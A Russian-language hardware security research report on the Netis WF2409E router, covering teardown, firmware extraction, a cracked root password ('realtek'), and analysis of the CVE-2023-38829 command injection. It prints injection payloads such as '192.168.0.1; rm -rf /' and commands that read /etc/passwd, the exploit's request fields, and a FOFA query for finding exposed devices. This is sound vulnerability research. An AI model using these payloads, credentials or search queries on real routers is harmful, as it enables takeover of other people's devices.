
Полное исследование аппаратной безопасности маршрутизатора NETIS WF2409E. В ходе работы были выполнены разборка устройства, идентификация отладочных интерфейсов, извлечение прошивки и т.д. Задокументирован полный процесс аппаратного анализа, детали уязвимостей и соответствующие рекомендации по безопасности, направленные на повышение безопасности устройств Интернета вещей.

| Категория | Параметр | Описание |
|---|---|---|
| Информация об устройстве | Модель | Netis WF2409E |
| Тип | 300Mbps Wireless N Router | |
| Питание | DC 9V/500mA | |
| Версия оборудования | V1.8 | |
| Версия PCB | PB-7189-M02G-20 | |
| Дата производства | 2015-03-23 | |
| Страна производства | Китай | |
| Сетевые идентификаторы | Серийный номер | 2409EEU5B102714 V1.8 |
| MAC-адрес | W8D398DFB68 | |
| SSID по умолчанию | netis_BDFB68 | |
| Пароль по умолчанию | password | |
| Адрес управления | http://netis.cc | |
| Аппаратные интерфейсы | WAN-порт | 1 (синий RJ45) |
| LAN-порты | 4 (черные RJ45, LAN1-4) | |
| Антенны | 3 внешние антенны | |
| Разъем питания | DC вход (PWR) | |
| Функциональные кнопки | Default | Сброс к заводским настройкам |
| WPS | Защищенная настройка WiFi |



| Параметр | Спецификация |
|---|---|
| Модель процессора | RealTek RTL8196E |
| Архитектура | 16-bit |
| Тактовая частота | 380MHz |
| Дата компиляции | 2014.09.29 |
| Параметр | Описание |
|---|---|
| Тип загрузчика | Проприетарный загрузчик RealTek |
| Адрес загрузки ядра | 0x80500000 |
| Начальный адрес выполнения | 0x80003440 |
| Диапазон поиска подписи | 0x10000-0x170000 |
| Параметр | Значение |
|---|---|
| IP-адрес | 192.168.0.1 |
| Маска подсети | 255.255.255.0 |
| MAC-адрес | 04:8d:38:bd:fb:69 |
| Беспроводной интерфейс | wlan0 (включая va0-va3, vxd) |
| Параметр | Значение |
|---|---|
| Модель устройства | netis WF2419E_RU |
| Версия прошивки | V2.5.40200 |
| Дата прошивки | 2016.09.02 |
| Версия BusyBox | v1.00-pre8 (2015.01.23) |
Важно отметить, что это устройство, вероятно, не использует U-Boot. Ключевые признаки:
---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/380MHz)
Команды Bootloader :
<RealTek> FLR 80000000 0 100 #Чтение из Flash DB 80000000 100 #Просмотр содержимого памяти



/dev/mtdblock1 смонтирован как корневой каталог /none смонтирован как файловая система процессов /proctmpfs смонтирован как временная файловая система /varКорневая файловая система настроена следующим образом:
/dev/mtdblock1Это указывает на использование MTD флэш-памяти в качестве носителя, при этом файлы системы защищены и оптимизированы по объему с помощью только чтения и компрессии squashfs.
Файловая система процессов настроена следующим образом:
Временная файловая система настроена следующим образом:


binwalk -E --save netis.bin


binwalk netis.bin

И получить:

| Смещение | Заголовок раздела |
|---|---|
| 0x12F0 | ![]() |
| 0x32818 | ![]() |

etc/passwd:
Используя сервис дешифрования хэшей https://hashes.com/en/decrypt/hash, пароль root был успешно восстановлен как realtek.

web/welcome.htm:Это страница веб-интерфейса по умолчанию

Поиск устройств в FOFA через характеристики в web/welcome.htm:
Команды поиска:
body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"


Для доступа к административной панели устройства может потребоваться аутентификация с помощью логина и пароля

После успешной аутентификации можно войти в административную панель

Сначала с помощью команды ~/squashfs-root/web$ find были найдены доступные директории, и с помощью Burpsuit была проверена их доступность:
Потенциальные места нахождения информации:
После проверки, мы можем найти в файле ==/version.txt== следующую информацию:

Извлечение этой информации было реализовано с помощью Python-скрипта:

В настоящее время в данном устройстве обнаружены следующие уязвимости, среди которых уязвимость CVE-2023-38829 представляет собой уязвимость внедрения команд, существующую в модуле сетевого тестирования маршрутизатора NETIS SYSTEMS Router WF2409E в функциях ping и traceroute. Через веб-интерфейс управления можно внедрять вредоносные команды в параметры этих функций, что приводит к выполнению команд.
Чтобы проверить наличие этой уязвимости, я вошел в панель управления маршрутизатора и протестировал уязвимость в функциях ping и traceroute.
Здесь я внедрил команду cd && ls && cd etc/ && cat passwd, которая вывела содержимое файла паролей.
Ниже представлен вывод панели управления маршрутизатора при внедрении команды, что подтверждает наличие уязвимости.

Анализ CVSS 3.1 обнаруженных уязвимостей инъекции команд:
Оценка базовых показателей:
Показатели воздействия:


Итоговая оценка: 9.2/10 баллов , что относится к категории "критическая". CVSS-Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C
Такая высокая оценка уязвимости обусловлена следующими причинами:
Давайте сначала найдём файлы, где могут быть уязвимости:
find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi
Я предполагаю, что уязвимости могут проявляться в CGI программах, поэтому для начала попробую проанализировать файл ./web/cgi-bin/cgitest.cgi с помощью IDA Pro.
Сначала нужно найти места вызова похожих функций, через поиск удалось найти строку "killall ping".
При анализе места вызова можно увидеть, что программа после инициализации функций ping и traceroute вызывает /bin/network_test.sh

А место, где находится уязвимость, как раз в модуле тестирования сети. Хорошо, нам нужно проанализировать /bin/network_test.sh.
Вначале необходимо выполнить поиск.

Находим функцию network_test_sh:
......

При детальном анализе функции можно обнаружить модули выполнения команд и сохранения результатов.

В них: Выполнение команды ping: ping -c %d -s %d %s -W %d > %s &
Выполнение команды traceroute: traceroute -I -m %d %s > %s &
# Ситуация с командой ping
loc_4205B8:
lw v0, 0x108+var\_D4(sp) #прямая загрузка параметров
lw a3, 0x108+var\_D8(sp)
la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf
# Ситуация с командой traceroute
loc_420574:
la $t9, sprintf #также прямой вызов sprintf
lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности

В коде отсутствует достаточная проверка входных параметров, что создает потенциальный риск инъекции команд. Злоумышленник может управлять передаваемым IP-параметром для выполнения shell-команд, например:
# Нормальный ввод 192.168.0.1
# Примеры вредоносного ввода
192.168.0.1; rm -rf / #удаление файлов
192.168.0.1 & id & #выполнение произвольных команд
Этот скрипт использует уязвимость инъекции команд в веб-интерфейсе устройства для удаленного выполнения команд путем создания специальных HTTP-запросов. Скрипт выполняет эксплуатацию уязвимости с помощью двух HTTP POST запросов: первый запрос внедряет команду, второй - получает результат выполнения.
Первый пакет (netcore_set.cgi) предназначен для: внедрения и выполнения команды

Второй пакет (netcore_get.cgi) предназначен для: получения результата выполнения команды

{ "mode_name": "netcore_set",
"tools_type": "2",
"tools_ip_url": f"| {command}", # точка инъекции команды
"tools_cmd": "1",
"net_tools_set": "1" }
{ "mode_name": "netcore_get",
"noneed": "noneed" }
Для тестирования скрипта я создал файл ceshi на хосте и попытался загрузить его на устройство через скрипт



Успешно!
Фактически эта уязвимость позволяет получить полный контроль над устройством, так как устройство по умолчанию использует root-доступ
| Проверяемый параметр | Состояние | Примечание |
|---|
| Индикатор питания | Исправен | Стабильно горит при включении |
| Сетевые индикаторы | Исправны | Мигают при подключении |
| Состояние WAN-порта | Исправен | Нормальное подключение к сети |
| Состояние LAN-портов | Исправны | Все 4 порта работают |
| Функция WiFi | Исправна | Антенны целы, сигнал нормальный |
| Функция WPS | Исправна | Кнопка реагирует |
| Функция сброса | Исправна | Кнопка Default работает |
| № | Модель чипа | Производитель | Основная функция | Технические характеристики | Примечания |
|---|
| 1 | EM63A165TS-6G | EtronTech | Системная память | - Объем 32 Мбит - Частота 166МГц - Архитектура SDRAM - Корпус TSOP-II | - Используется для временного хранения данных - Поддерживает вычисления основного процессора |
| 2 | FR9886 61504 | Неизвестен | Управление питанием | - Корпус SOIC-8 - Интегральная схема | - DC-DC - Отвечает за регулировку напряжения - Обеспечивает стабильное питание системы |
| 3 | RTL8196E | Realtek/RMC | Основной процессор | - Архитектура MIPS - Дизайн SoC - Произведено в Тайване | - Центральный процессор системы - Отвечает за основные вычисления и управление - Интегрированная обработка сети |
| 4 | MX25L3206E | Macronix | Flash-память | - Объём 32Mb (4MB) - Интерфейс SPI - Корпус SOIC | - Хранение системной прошивки - Сохранение конфигурационных данных |
| 5 | RTL8192ER | Realtek/RMC | Беспроводная связь | - WiFi контроллер - Корпус QFN | - Обработка беспроводных сигналов - Поддержка функций WiFi |
| Параметр | Значение | Шестнадцатеричное значение |
|---|
| Модель чипа | MX25L3205D | - |
| Общий объем | 4MB | 0x400000 |
| Размер блока | 64KB | 0x10000 |
| Размер сектора | 4KB | 0x1000 |
| Размер страницы | 256B | 0x100 |
| Название службы | Статус | Примечание |
|---|
| DHCP-сервер | Работает | Нормально |
| HTTP-сервер (Boa) | Работает | Аномальные перезагрузки |
| IAPP | Работает | IEEE 802.11f |
| MiniIGD | Работает | v1.08.1 |
| mini_upnpd | Ошибка | Файл не найден |
| telnetd | Ошибка | Файл не найден |
| ota_init.sh | Ошибка | Файл не найден |
| Команда | Синтаксис | Функция |
|---|
| HELP | ? | Показать справку |
| DB/DW | DB/DW <адрес> <длина> | Чтение памяти побайтно/пословно |
| EB/EW | EB/EW <адрес> <значение> | Запись в память побайтно/пословно |
| FLR | FLR | Чтение данных из Flash в RAM |
| FLW | FLW <dst_ROM><src_RAM> | Запись данных из RAM во Flash |
| IPCONFIG | IPCONFIG <IP-адрес> | Настройка IP-адреса |
| LOADADDR | LOADADDR <адрес> | Установка адреса загрузки |
| CMP | CMP | Сравнение данных в памяти |
| J | J <адрес> | Переход к исполнению |
| MDIOR/MDIOW | MDIOR/W [data] | Чтение/запись регистров PHY |
| PHYR/PHYW | PHYR/W [data] | Чтение/запись регистров PHY (альтернативный метод) |
| PORT1 | PORT1 | Тест патча порта 1 |
| AUTOBURN | AUTOBURN 0/1 | Управление автоматической прошивкой |
| Тип команды | Доступные команды |
|---|
| Базовые команды | ., :, cd, help, exit |
| Управление выполнением | break, continue, eval, exec |
| Операции с переменными | export, read, readonly, set, shift |
| Управление процессами | times, trap, wait |
| Управление правами | login, newgrp, umask |
| Категория | Инструменты | Функция |
|---|
| Сетевые инструменты | iptables ip6tables brctl ifconfig | Конфигурация брандмауэра, IPv6-брандмауэр, управление мостами, настройка сетевых интерфейсов |
| Системное управление | busybox ps kill mount | Набор основных инструментов, просмотр процессов, управление процессами, монтирование файловой системы |
| VPN-связь | pppd pptp l2tpd pptpctrl | Демон PPP, PPTP-клиент, демон L2TP, управление PPTP |
| Управление беспроводной связью | iwcontrol iwpriv wlanapp.sh wps_init.sh | Контроль беспроводной связи, приватные команды беспроводной связи, управление беспроводными приложениями, инициализация WPS |
| Скрипты брандмауэра | firewall.sh firewall_ipv6.sh firewall_pptp.sh | Основной брандмауэр, IPv6-брандмауэр, PPTP-брандмауэр |
| DHCP/DNS | dhcpc.sh dhcpd.sh dnrd | DHCP-клиент, DHCP-сервер, DNS-пересылка |
| Веб-сервис | boa webs cgitest.cgi | Веб-сервер, веб-управление, тест CGI |
| Путь | Тип информации | Описание |
|---|
| /proc/cpuinfo | Информация о CPU | Подробная информация о процессоре |
| /proc/meminfo | Информация о памяти | Состояние использования системной памяти |
| /proc/mtd | Информация о разделах | Разделение памяти Flash |
| /proc/net/* | Сетевая информация | Состояние сетевых интерфейсов и подключений |
| /proc/sys/* | Параметры системы | Регулируемые параметры системы |
| /proc/version | Информация о версии | Информация о версии ядра |
| Компонент | Описание | Технические характеристики |
|---|
| RTL8196E | Основной процессор | - Архитектура MIPS - Дизайн SoC - Производство в Тайване - Центральный процессор системы - Отвечает за основные вычисления и управление - Встроенные функции сетевой обработки |
| EM63A165TS-6G | Системная память | - Объем 32 Мбит - Частота 166 МГц - Архитектура SDRAM - Корпус TSOP-II - Временное хранение данных системы - Поддерживает вычисления основного процессора |
| MX25L3206E | Флэш-память | - Объем 32 Мбит (4 МБ) - Интерфейс SPI - Корпус SOIC - Хранение прошивки системы - Сохранение данных конфигурации |
| RTL8192ER | Беспроводная сеть | - WiFi контроллер - Корпус QFN - Обработка беспроводных сигналов - Поддержка WiFi |
| FR9886 61504 | Управление питанием | - Корпус SOIC-8 - Интегральная схема - DC-DC - Отвечает за регулировку напряжения - Обеспечивает стабильное питание системы |
| Файл | Смещение (десятичное) | Смещение (шестнадцатеричное) | Описание | Дополнительная информация |
|---|
| netis.bin | 4848 | 0x12F0 | Сжатые данные LZMA | Размер словаря: 8388608 байт, размер после распаковки: 56464 байт; требуется анализ содержимого после распаковки |
| netis.bin | 206872 | 0x32818 | Сжатые данные LZMA | Размер словаря: 8388608 байт, размер после распаковки: 3278684 байт; содержит полное ядро Linux 2.6.30 |
| netis.bin | 1507328 | 0x170000 | Файловая система SquashFS | Младший порядок байтов, сжатие gzip, размер: 2628241 байт |
| 0x170000 | ![]() |
| Payload | Code | Lenth |
|---|
| 1 | /cgi-bin | 200 | 167 | |
| 2 | /cgi-bin/cgitest.cgi | - | ERROR | - |
| 3 | /script | 200 | 168 | |
| 4 | /script/init.js | 200 | 1282 | |
| 5 | /script/logic.js | 200 | 65677 | |
| 6 | /script/menu.js | 200 | 4976 | |
| 7 | /script/netcore.js | 200 | 151935 | |
| 8 | /script/action.js | 200 | 182624 | |
| 9 | /script/debug.js | 200 | 28570 | |
| ==10== | ==/version.txt== | ==200== | ==206== | |
| ==11== | ==/update.htm== | ==200== | ==1230== | |
| 12 | /config | 200 | 168 | |
| 13 | /config/language_es.js | 200 | 79333 | |
| 14 | /config/language_it.js | 200 | 76802 | |
| 15 | /config/language_id.js | 200 | 74795 | |
| 16 | /config/language_du.js | 200 | 78782 | |
| 17 | /config/language_ma.js | 200 | 73594 | |
| 18 | /config/language_po.js | 200 | 76458 | |
| 19 | /config/language_tu.js | 200 | 77747 | |
| 20 | /config/language_fr.js | 200 | 78165 | |
| 21 | /config/language_ro.js | 200 | 73621 | |
| 22 | /config/language_cz.js | 200 | 75968 | |
| 23 | /config/language_ua.js | 200 | 98335 | |
| 24 | /config/language_us.js | 200 | 84173 | |
| 25 | /config/config.js | 200 | 75899 | |
| 26 | /config/language_ru.js | 200 | 108998 | |
| 27 | /config/language_de.js | 200 | 78674 | |
| 28 | /config/language_pt.js | 200 | 77954 | |
| 29 | /config/language_cn.js | 200 | 62001 | |
| 30 | /config/language_tc.js | 200 | 74268 | |
| ==32== | ==/index.htm== | ==200== | ==4336== | |
| 33 | /css | 200 | 167 | |
| 34 | /css/style.css | 200 | 5441 | |
| 35 | /css/netcore.css | 200 | 11536 | |
| 36 | /css/welcome.css | 200 | 6270 | |
| 37 | /Config.tgz | 404 | 326 | |
| 38 | /images | 200 | 168 | |
| 39 | /images/first.png | 200 | 838 | |
| 40 | /images/icon_no.gif | 200 | 240 | |
| 41 | /images/top_right_bg.gif | 200 | 222 | |
| 42 | /images/logo_netis.png | 200 | 7297 | |
| 43 | /images/icon_jian.gif | 200 | 239 | |
| 44 | /images/show_pwd.png | 200 | 1433 | |
| 45 | /images/icon_no1.gif | 200 | 498 | |
| 46 | /images/nextt.png | 200 | 1026 | |
| 47 | /images/lastt.png | 200 | 845 | |
| 48 | /images/icon_intro_internet.gif | 200 | 6994 | |
| 49 | /images/help_b1.gif | 200 | 540 | |
| 50 | /images/high.gif | 200 | 10846 | |
| 51 | /images/yandex_en.png | 200 | 3519 | |
| 52 | /images/help_b1.jpg | 200 | 620 | |
| 53 | /images/back.gif | 200 | 379 | |
| 54 | /images/icon_intro_wireless.jpg | 200 | 3838 | |
| 55 | /images/icon_jian1.gif | 200 | 490 | |
| 56 | /images/left_021.jpg | 200 | 558 | |
| 57 | /images/edit.gif | 200 | 365 | |
| 58 | /images/pre.png | 200 | 1029 | |
| 59 | /images/btn_mobile_setup.jpg | 200 | 3053 | |
| 60 | /images/icon_now.gif | 200 | 242 | |
| 61 | /images/top_right_bg.jpg | 200 | 223 | |
| 62 | /images/bg_intro_bottom.png | 200 | 3562 | |
| 63 | /images/favicon.ico | 200 | 4458 | |
| 64 | /images/btn_quick_setup.jpg | 200 | 4353 | |
| 65 | /images/bg_intro_top.png | 200 | 3605 | |
| 66 | /images/mt-link.gif | 200 | 5823 | |
| 67 | /images/link.gif | 200 | 1045 | |
| 68 | /images/del.gif | 200 | 313 | |
| ==69== | ==/images/Makefile== | ==200== | ==593== | |
| 70 | /images/icon_jia1.gif | 200 | 490 | |
| 71 | /images/blue.jpg | 200 | 2584 | |
| 72 | /images/normal.gif | 200 | 10818 | |
| 73 | /images/yandex.png | 200 | 2159 | |
| 74 | /images/bg_leftmenu.gif | 200 | 686 | |
| 75 | /images/icon_jia.gif | 200 | 252 | |
| 76 | /images/icon_now1.gif | 200 | 487 | |
| ==77== | ==/welcome.htm== | ==200== | ==30155== | |
| ==78== | ==/index.html== | ==200== | ==326== | |
| 79 | /help | 200 | 166 | |
| ==80== | ==/backup.htm== | ==200== | ==1304== |
| Payload | Code | Lenth |
|---|
| ==10== | ==/version.txt== | ==200== | ==206== |
| ==11== | ==/update.htm== | ==200== | ==1230== |
| ==32== | ==/index.htm== | ==200== | ==4336== |
| ==69== | ==/images/Makefile== | ==200== | ==593== |
| ==77== | ==/welcome.htm== | ==200== | ==30155== |
| ==78== | ==/index.html== | ==200== | ==326== |
| ==80== | ==/backup.htm== | ==200== | ==1304== |
| Номер уязвимости | Тип уязвимости | Модель | Версия | Отчет/эксплойт |
|---|
| CVE-2023-42336 | sensitive information disclosure | Netis | wf2409e_firmware < 1.0.1.705 wf3409e < v4 | https://github.com/adhikara13/CVE/blob/main/netis_WF2409E/Root_Hard_Code.md |
| CVE-2023-38829 | remote code execution | Netis | wf2409e_firmware < 3.6.42541 wf3409e < - | https://github.com/adhikara13/CVE-2023-38829-NETIS-WF2409E |